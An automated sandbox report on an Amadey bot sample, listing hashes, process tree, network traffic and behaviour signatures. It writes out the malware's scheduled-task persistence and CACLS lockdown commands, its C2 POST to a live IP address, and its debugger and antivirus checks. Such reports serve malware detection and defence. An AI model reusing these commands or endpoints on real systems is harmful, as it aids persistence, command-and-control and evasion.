Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6401	July 20, 2023, 7:35 a.m.	July 20, 2023, 7:44 a.m.

Size	3.5MB
Type	MS-DOS executable, MZ for MS-DOS
MD5	`54cbe835ac726ec258b58566cab62aaa`
SHA256	`73a8b0306a237247a9ae4187e6d3df691bfb5069a2cf3755597c48631a3f913d`
CRC32	`D3176C71`
ssdeep	`98304:EXY8W8Wdatv7vsldD2ljL0Du5Gi20MwOmawp:2Y8Wkd7+DULUuYismz`
Yara	UPX_Zero - UPX packed file PE_Header_Zero - PE File Signature MPRESS_Zero - MPRESS packed file IsPE32 - (no description)

taskhostamd.exe "C:\Users\test22\AppData\Local\Temp\taskhostamd.exe"
2552
- oneetx.exe "C:\Users\test22\AppData\Local\Temp\eb0f58bce7\oneetx.exe"
  2708
  - schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN oneetx.exe /TR "C:\Users\test22\AppData\Local\Temp\eb0f58bce7\oneetx.exe" /F
    2776
  - cmd.exe "C:\Windows\System32\cmd.exe" /k echo Y|CACLS "oneetx.exe" /P "test22:N"&&CACLS "oneetx.exe" /P "test22:R" /E&&echo Y|CACLS "..\eb0f58bce7" /P "test22:N"&&CACLS "..\eb0f58bce7" /P "test22:R" /E&&Exit
    2836
    - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo Y"
      2904
    - cacls.exe CACLS "oneetx.exe" /P "test22:N"
      2940
    - cacls.exe CACLS "oneetx.exe" /P "test22:R" /E
      2996
    - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo Y"
      3044
    - cacls.exe CACLS "..\eb0f58bce7" /P "test22:N"
      1216
    - cacls.exe CACLS "..\eb0f58bce7" /P "test22:R" /E
      1384
explorer.exe C:\Windows\Explorer.EXE
1452

Name	Response	Post-Analysis Lookup
second.amadgood.com

IP Address	Status	Action
164.124.101.2	Active	Moloch
45.15.156.208	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 192.168.56.101:49172 -> 45.15.156.208:80	2044597	ET MALWARE Amadey Bot Activity (POST) M1	A Network Trojan was detected
TCP 192.168.56.101:49173 -> 45.15.156.208:80	2027700	ET MALWARE Amadey CnC Check-In	Malware Command and Control Activity Detected
TCP 192.168.56.101:49173 -> 45.15.156.208:80	2045751	ET MALWARE Win32/Amadey Bot Activity (POST) M2	A Network Trojan was detected

Suricata TLS

No Suricata TLS

Queries for the computername (1 event)

Time & API	Arguments	Status	Return	Repeated
GetComputerNameW July 20, 2023, 7:35 a.m.	computer_name: TEST22-PC	1	1	0

Command line console output was observed (50 out of 79 events)

Time & API	Arguments	Status	Return
WriteConsoleW July 20, 2023, 7:35 a.m.	buffer: SUCCESS: The scheduled task "oneetx.exe" has successfully been created. console_handle: 0x00000007	1	1
WriteConsoleA July 20, 2023, 7:35 a.m.	buffer: A console_handle: 0x00000007	1	1
WriteConsoleA July 20, 2023, 7:35 a.m.	buffer: r console_handle: 0x00000007	1	1
WriteConsoleA July 20, 2023, 7:35 a.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleA July 20, 2023, 7:35 a.m.	buffer: y console_handle: 0x00000007	1	1
WriteConsoleA July 20, 2023, 7:35 a.m.	buffer: o console_handle: 0x00000007	1	1
WriteConsoleA July 20, 2023, 7:35 a.m.	buffer: u console_handle: 0x00000007	1	1
WriteConsoleA July 20, 2023, 7:35 a.m.	buffer: s console_handle: 0x00000007	1	1
WriteConsoleA July 20, 2023, 7:35 a.m.	buffer: u console_handle: 0x00000007	1	1
WriteConsoleA July 20, 2023, 7:35 a.m.	buffer: r console_handle: 0x00000007	1	1
WriteConsoleA July 20, 2023, 7:35 a.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleA July 20, 2023, 7:35 a.m.	buffer: Y console_handle: 0x00000007	1	1
WriteConsoleA July 20, 2023, 7:35 a.m.	buffer: N console_handle: 0x00000007	1	1
WriteConsoleA July 20, 2023, 7:35 a.m.	buffer: p console_handle: 0x00000007	1	1
WriteConsoleA July 20, 2023, 7:35 a.m.	buffer: r console_handle: 0x00000007	1	1
WriteConsoleA July 20, 2023, 7:35 a.m.	buffer: o console_handle: 0x00000007	1	1
WriteConsoleA July 20, 2023, 7:35 a.m.	buffer: c console_handle: 0x00000007	1	1
WriteConsoleA July 20, 2023, 7:35 a.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleA July 20, 2023, 7:35 a.m.	buffer: s console_handle: 0x00000007	1	1
WriteConsoleA July 20, 2023, 7:35 a.m.	buffer: s console_handle: 0x00000007	1	1
WriteConsoleA July 20, 2023, 7:35 a.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleA July 20, 2023, 7:35 a.m.	buffer: d console_handle: 0x00000007	1	1
WriteConsoleA July 20, 2023, 7:35 a.m.	buffer: f console_handle: 0x00000007	1	1
WriteConsoleA July 20, 2023, 7:35 a.m.	buffer: i console_handle: 0x00000007	1	1
WriteConsoleA July 20, 2023, 7:35 a.m.	buffer: l console_handle: 0x00000007	1	1
WriteConsoleA July 20, 2023, 7:35 a.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleW July 20, 2023, 7:35 a.m.	buffer: C:\Users\test22\AppData\Local\Temp\eb0f58bce7\oneetx.exe console_handle: 0x00000007	1	1
WriteConsoleA July 20, 2023, 7:35 a.m.	buffer: p console_handle: 0x00000007	1	1
WriteConsoleA July 20, 2023, 7:35 a.m.	buffer: r console_handle: 0x00000007	1	1
WriteConsoleA July 20, 2023, 7:35 a.m.	buffer: o console_handle: 0x00000007	1	1
WriteConsoleA July 20, 2023, 7:35 a.m.	buffer: c console_handle: 0x00000007	1	1
WriteConsoleA July 20, 2023, 7:35 a.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleA July 20, 2023, 7:35 a.m.	buffer: s console_handle: 0x00000007	1	1
WriteConsoleA July 20, 2023, 7:35 a.m.	buffer: s console_handle: 0x00000007	1	1
WriteConsoleA July 20, 2023, 7:35 a.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleA July 20, 2023, 7:35 a.m.	buffer: d console_handle: 0x00000007	1	1
WriteConsoleA July 20, 2023, 7:35 a.m.	buffer: f console_handle: 0x00000007	1	1
WriteConsoleA July 20, 2023, 7:35 a.m.	buffer: i console_handle: 0x00000007	1	1
WriteConsoleA July 20, 2023, 7:35 a.m.	buffer: l console_handle: 0x00000007	1	1
WriteConsoleA July 20, 2023, 7:35 a.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleW July 20, 2023, 7:35 a.m.	buffer: C:\Users\test22\AppData\Local\Temp\eb0f58bce7\oneetx.exe console_handle: 0x00000007	1	1
WriteConsoleA July 20, 2023, 7:35 a.m.	buffer: A console_handle: 0x00000007	1	1
WriteConsoleA July 20, 2023, 7:35 a.m.	buffer: r console_handle: 0x00000007	1	1
WriteConsoleA July 20, 2023, 7:35 a.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleA July 20, 2023, 7:35 a.m.	buffer: y console_handle: 0x00000007	1	1
WriteConsoleA July 20, 2023, 7:35 a.m.	buffer: o console_handle: 0x00000007	1	1
WriteConsoleA July 20, 2023, 7:35 a.m.	buffer: u console_handle: 0x00000007	1	1
WriteConsoleA July 20, 2023, 7:35 a.m.	buffer: s console_handle: 0x00000007	1	1
WriteConsoleA July 20, 2023, 7:35 a.m.	buffer: u console_handle: 0x00000007	1	1
WriteConsoleA July 20, 2023, 7:35 a.m.	buffer: r console_handle: 0x00000007	1	1

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx July 20, 2023, 7:35 a.m.		1	1	0

The executable contains unknown PE section names indicative of a packer (could be a false positive) (2 events)

section	.MPRESS1
section	.MPRESS2

The file contains an unknown PE resource name possibly indicative of a packer (1 event)

resource name

None

One or more processes crashed (6 events)

Time & API	Arguments	Status
__exception__ July 20, 2023, 7:35 a.m.	stacktrace: taskhostamd+0x3d2582 @ 0x7d2582 taskhostamd+0x3c54d8 @ 0x7c54d8 exception.instruction_r: c9 c2 10 00 cc cc cc cc cc e9 a2 93 c1 8a 56 8b exception.symbol: RaiseException+0x58 CloseHandle-0x9 kernelbase+0xb727 exception.instruction: leave exception.module: KERNELBASE.dll exception.exception_code: 0xc000008e exception.offset: 46887 exception.address: 0x7597b727 registers.esp: 1638148 registers.edi: 5480448 registers.eax: 1638148 registers.ebp: 1638228 registers.edx: 2130566132 registers.ebx: 1971716070 registers.esi: 1995994155 registers.ecx: 2131296256	1
__exception__ July 20, 2023, 7:35 a.m.	stacktrace: exception.instruction_r: ed e9 74 d4 01 00 42 00 a4 00 42 00 53 00 4d 00 exception.symbol: taskhostamd+0x3f73ff exception.instruction: in eax, dx exception.module: taskhostamd.exe exception.exception_code: 0xc0000096 exception.offset: 4158463 exception.address: 0x7f73ff registers.esp: 1638268 registers.edi: 6570441 registers.eax: 1750617430 registers.ebp: 5480448 registers.edx: 2130532438 registers.ebx: 0 registers.esi: 13 registers.ecx: 20	1
__exception__ July 20, 2023, 7:35 a.m.	stacktrace: exception.instruction_r: ed e9 8f e0 02 00 c3 e9 c0 8d 05 00 1a d6 3d d6 exception.symbol: taskhostamd+0x3ce8e2 exception.instruction: in eax, dx exception.module: taskhostamd.exe exception.exception_code: 0xc0000096 exception.offset: 3991778 exception.address: 0x7ce8e2 registers.esp: 1638268 registers.edi: 6570441 registers.eax: 1447909480 registers.ebp: 5480448 registers.edx: 22104 registers.ebx: 2256917605 registers.esi: 13 registers.ecx: 10	1
__exception__ July 20, 2023, 7:35 a.m.	stacktrace: oneetx+0x3d2582 @ 0x7d2582 oneetx+0x3c54d8 @ 0x7c54d8 exception.instruction_r: c9 c2 10 00 cc cc cc cc cc e9 a2 93 c1 8a 56 8b exception.symbol: RaiseException+0x58 CloseHandle-0x9 kernelbase+0xb727 exception.instruction: leave exception.module: KERNELBASE.dll exception.exception_code: 0xc000008e exception.offset: 46887 exception.address: 0x7597b727 registers.esp: 1638148 registers.edi: 5480448 registers.eax: 1638148 registers.ebp: 1638228 registers.edx: 2130566132 registers.ebx: 1971716070 registers.esi: 1995994155 registers.ecx: 1672282112	1
__exception__ July 20, 2023, 7:35 a.m.	stacktrace: exception.instruction_r: ed e9 74 d4 01 00 42 00 a4 00 42 00 53 00 4d 00 exception.symbol: oneetx+0x3f73ff exception.instruction: in eax, dx exception.module: oneetx.exe exception.exception_code: 0xc0000096 exception.offset: 4158463 exception.address: 0x7f73ff registers.esp: 1638268 registers.edi: 6570441 registers.eax: 1750617430 registers.ebp: 5480448 registers.edx: 2130532438 registers.ebx: 0 registers.esi: 13 registers.ecx: 20	1
__exception__ July 20, 2023, 7:35 a.m.	stacktrace: exception.instruction_r: ed e9 8f e0 02 00 c3 e9 c0 8d 05 00 1a d6 3d d6 exception.symbol: oneetx+0x3ce8e2 exception.instruction: in eax, dx exception.module: oneetx.exe exception.exception_code: 0xc0000096 exception.offset: 3991778 exception.address: 0x7ce8e2 registers.esp: 1638268 registers.edi: 6570441 registers.eax: 1447909480 registers.ebp: 5480448 registers.edx: 22104 registers.ebx: 2256917605 registers.esi: 13 registers.ecx: 10	1

HTTP traffic contains suspicious features which may be indicative of malware related traffic (1 event)

suspicious_features

POST method with no referer header, POST method with no useragent header, Connection to IP address

suspicious_request

POST http://45.15.156.208/jd9dd3Vw/index.php?scr=1

Performs some HTTP requests (1 event)

request

POST http://45.15.156.208/jd9dd3Vw/index.php?scr=1

Sends data using the HTTP POST Method (1 event)

request

POST http://45.15.156.208/jd9dd3Vw/index.php?scr=1

Allocates read-write-execute memory (usually to unpack itself) (50 out of 289 events)

Time & API	Arguments	Status
NtProtectVirtualMemory July 20, 2023, 7:35 a.m.	process_identifier: 2552 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x755c1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 20, 2023, 7:35 a.m.	process_identifier: 2552 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7597d000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 20, 2023, 7:35 a.m.	process_identifier: 2552 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x755c5000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 20, 2023, 7:35 a.m.	process_identifier: 2552 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x755c7000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 20, 2023, 7:35 a.m.	process_identifier: 2552 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7597e000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 20, 2023, 7:35 a.m.	process_identifier: 2552 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x755dc000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 20, 2023, 7:35 a.m.	process_identifier: 2552 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7597b000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 20, 2023, 7:35 a.m.	process_identifier: 2552 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x755c1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 20, 2023, 7:35 a.m.	process_identifier: 2552 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7597b000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 20, 2023, 7:35 a.m.	process_identifier: 2552 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x755c1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 20, 2023, 7:35 a.m.	process_identifier: 2552 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7597d000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 20, 2023, 7:35 a.m.	process_identifier: 2552 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x755c5000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 20, 2023, 7:35 a.m.	process_identifier: 2552 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7597c000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 20, 2023, 7:35 a.m.	process_identifier: 2552 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x755c3000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 20, 2023, 7:35 a.m.	process_identifier: 2552 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7597c000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 20, 2023, 7:35 a.m.	process_identifier: 2552 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x755c5000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 20, 2023, 7:35 a.m.	process_identifier: 2552 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7585f000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 20, 2023, 7:35 a.m.	process_identifier: 2552 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x75868000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 20, 2023, 7:35 a.m.	process_identifier: 2552 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x755c3000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 20, 2023, 7:35 a.m.	process_identifier: 2552 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x75981000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 20, 2023, 7:35 a.m.	process_identifier: 2552 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x75703000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 20, 2023, 7:35 a.m.	process_identifier: 2552 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x755dc000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 20, 2023, 7:35 a.m.	process_identifier: 2552 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x755c5000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 20, 2023, 7:35 a.m.	process_identifier: 2552 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7597b000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 20, 2023, 7:35 a.m.	process_identifier: 2552 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x755c1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 20, 2023, 7:35 a.m.	process_identifier: 2552 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x75981000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 20, 2023, 7:35 a.m.	process_identifier: 2552 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x755da000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 20, 2023, 7:35 a.m.	process_identifier: 2552 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x755c3000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 20, 2023, 7:35 a.m.	process_identifier: 2552 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7598b000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 20, 2023, 7:35 a.m.	process_identifier: 2552 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x755c5000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 20, 2023, 7:35 a.m.	process_identifier: 2552 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7598b000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 20, 2023, 7:35 a.m.	process_identifier: 2552 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x755c4000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 20, 2023, 7:35 a.m.	process_identifier: 2552 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x75980000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 20, 2023, 7:35 a.m.	process_identifier: 2552 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x755c1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 20, 2023, 7:35 a.m.	process_identifier: 2552 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x75981000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 20, 2023, 7:35 a.m.	process_identifier: 2552 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x755ec000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 20, 2023, 7:35 a.m.	process_identifier: 2552 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7597b000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 20, 2023, 7:35 a.m.	process_identifier: 2552 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x755ed000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 20, 2023, 7:35 a.m.	process_identifier: 2552 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7597c000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 20, 2023, 7:35 a.m.	process_identifier: 2552 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x755c4000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 20, 2023, 7:35 a.m.	process_identifier: 2552 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x75981000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 20, 2023, 7:35 a.m.	process_identifier: 2552 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x755dc000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 20, 2023, 7:35 a.m.	process_identifier: 2552 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x75981000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 20, 2023, 7:35 a.m.	process_identifier: 2552 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x755c3000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 20, 2023, 7:35 a.m.	process_identifier: 2552 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x75981000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 20, 2023, 7:35 a.m.	process_identifier: 2552 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x755c1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 20, 2023, 7:35 a.m.	process_identifier: 2552 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x75981000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 20, 2023, 7:35 a.m.	process_identifier: 2552 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7563f000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 20, 2023, 7:35 a.m.	process_identifier: 2552 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x755c1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 20, 2023, 7:35 a.m.	process_identifier: 2552 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7597b000 process_handle: 0xffffffff	1

Checks whether any human activity is being performed by constantly checking whether the foreground window changed

Foreign language identified in PE resource (1 event)

name

RT_VERSION

language

LANG_KOREAN

filetype

data

sublanguage

SUBLANG_KOREAN

offset

0x005e7988

size

0x00000300

Creates a suspicious process (4 events)

cmdline	"C:\Windows\System32\cmd.exe" /k echo Y\|CACLS "oneetx.exe" /P "test22:N"&&CACLS "oneetx.exe" /P "test22:R" /E&&echo Y\|CACLS "..\eb0f58bce7" /P "test22:N"&&CACLS "..\eb0f58bce7" /P "test22:R" /E&&Exit
cmdline	SCHTASKS /Create /SC MINUTE /MO 1 /TN oneetx.exe /TR "C:\Users\test22\AppData\Local\Temp\eb0f58bce7\oneetx.exe" /F
cmdline	C:\Windows\system32\cmd.exe /S /D /c" echo Y"
cmdline	"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN oneetx.exe /TR "C:\Users\test22\AppData\Local\Temp\eb0f58bce7\oneetx.exe" /F

A process created a hidden window (3 events)

Time & API	Arguments	Status	Return
ShellExecuteExW July 20, 2023, 7:35 a.m.	show_type: 0 filepath_r: C:\Users\test22\AppData\Local\Temp\eb0f58bce7\oneetx.exe parameters: filepath: C:\Users\test22\AppData\Local\Temp\eb0f58bce7\oneetx.exe	1	1
ShellExecuteExW July 20, 2023, 7:35 a.m.	show_type: 0 filepath_r: SCHTASKS parameters: /Create /SC MINUTE /MO 1 /TN oneetx.exe /TR "C:\Users\test22\AppData\Local\Temp\eb0f58bce7\oneetx.exe" /F filepath: SCHTASKS	1	1
ShellExecuteExW July 20, 2023, 7:35 a.m.	show_type: 0 filepath_r: cmd parameters: /k echo Y\|CACLS "oneetx.exe" /P "test22:N"&&CACLS "oneetx.exe" /P "test22:R" /E&&echo Y\|CACLS "..\eb0f58bce7" /P "test22:N"&&CACLS "..\eb0f58bce7" /P "test22:R" /E&&Exit filepath: cmd	1	1

The binary likely contains encrypted or compressed data indicative of a packer (2 events)

section

{u'size_of_data': u'0x00331000', u'virtual_address': u'0x00001000', u'entropy': 7.999939179076216, u'name': u'.MPRESS1', u'virtual_size': u'0x0058e000'}

entropy

7.99993917908

description

A section with a high entropy has been found

entropy

0.901517241379

description

Overall entropy of this PE file is high

Expresses interest in specific running processes (1 event)

process

system

Uses Windows utilities for basic Windows functionality (2 events)

cmdline	SCHTASKS /Create /SC MINUTE /MO 1 /TN oneetx.exe /TR "C:\Users\test22\AppData\Local\Temp\eb0f58bce7\oneetx.exe" /F
cmdline	"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN oneetx.exe /TR "C:\Users\test22\AppData\Local\Temp\eb0f58bce7\oneetx.exe" /F

Communicates with host for which no DNS query was performed (1 event)

host

45.15.156.208

Attempts to identify installed AV products by installation directory (7 events)

file	C:\ProgramData\AVAST Software
file	C:\ProgramData\Avira
file	C:\ProgramData\Kaspersky Lab
file	C:\ProgramData\Panda Security
file	C:\ProgramData\Bitdefender
file	C:\ProgramData\AVG
file	C:\ProgramData\Doctor Web

Checks for the presence of known windows from debuggers and forensic tools (24 events)

Time & API	Arguments	Status	Return	Repeated
FindWindowA July 20, 2023, 7:35 a.m.	class_name: OLLYDBG window_name:		0	0
FindWindowA July 20, 2023, 7:35 a.m.	class_name: GBDYLLO window_name:		0	0
FindWindowA July 20, 2023, 7:35 a.m.	class_name: pediy06 window_name:		0	0
FindWindowA July 20, 2023, 7:35 a.m.	class_name: RegmonClass window_name:		0	0
FindWindowA July 20, 2023, 7:35 a.m.	class_name: RegmonClass window_name:		0	0
FindWindowA July 20, 2023, 7:35 a.m.	class_name: Registry Monitor - Sysinternals: www.sysinternals.com window_name:		0	0
FindWindowA July 20, 2023, 7:35 a.m.	class_name: 18467-41 window_name:		0	0
FindWindowA July 20, 2023, 7:35 a.m.	class_name: FilemonClass window_name:		0	0
FindWindowA July 20, 2023, 7:35 a.m.	class_name: FilemonClass window_name:		0	0
FindWindowA July 20, 2023, 7:35 a.m.	class_name: #0 window_name: File Monitor - Sysinternals: www.sysinternals.com		0	0
FindWindowA July 20, 2023, 7:35 a.m.	class_name: PROCMON_WINDOW_CLASS window_name:		0	0
FindWindowA July 20, 2023, 7:35 a.m.	class_name: #0 window_name: Process Monitor - Sysinternals: www.sysinternals.com		0	0
FindWindowA July 20, 2023, 7:35 a.m.	class_name: OLLYDBG window_name:		0	0
FindWindowA July 20, 2023, 7:35 a.m.	class_name: GBDYLLO window_name:		0	0
FindWindowA July 20, 2023, 7:35 a.m.	class_name: pediy06 window_name:		0	0
FindWindowA July 20, 2023, 7:35 a.m.	class_name: RegmonClass window_name:		0	0
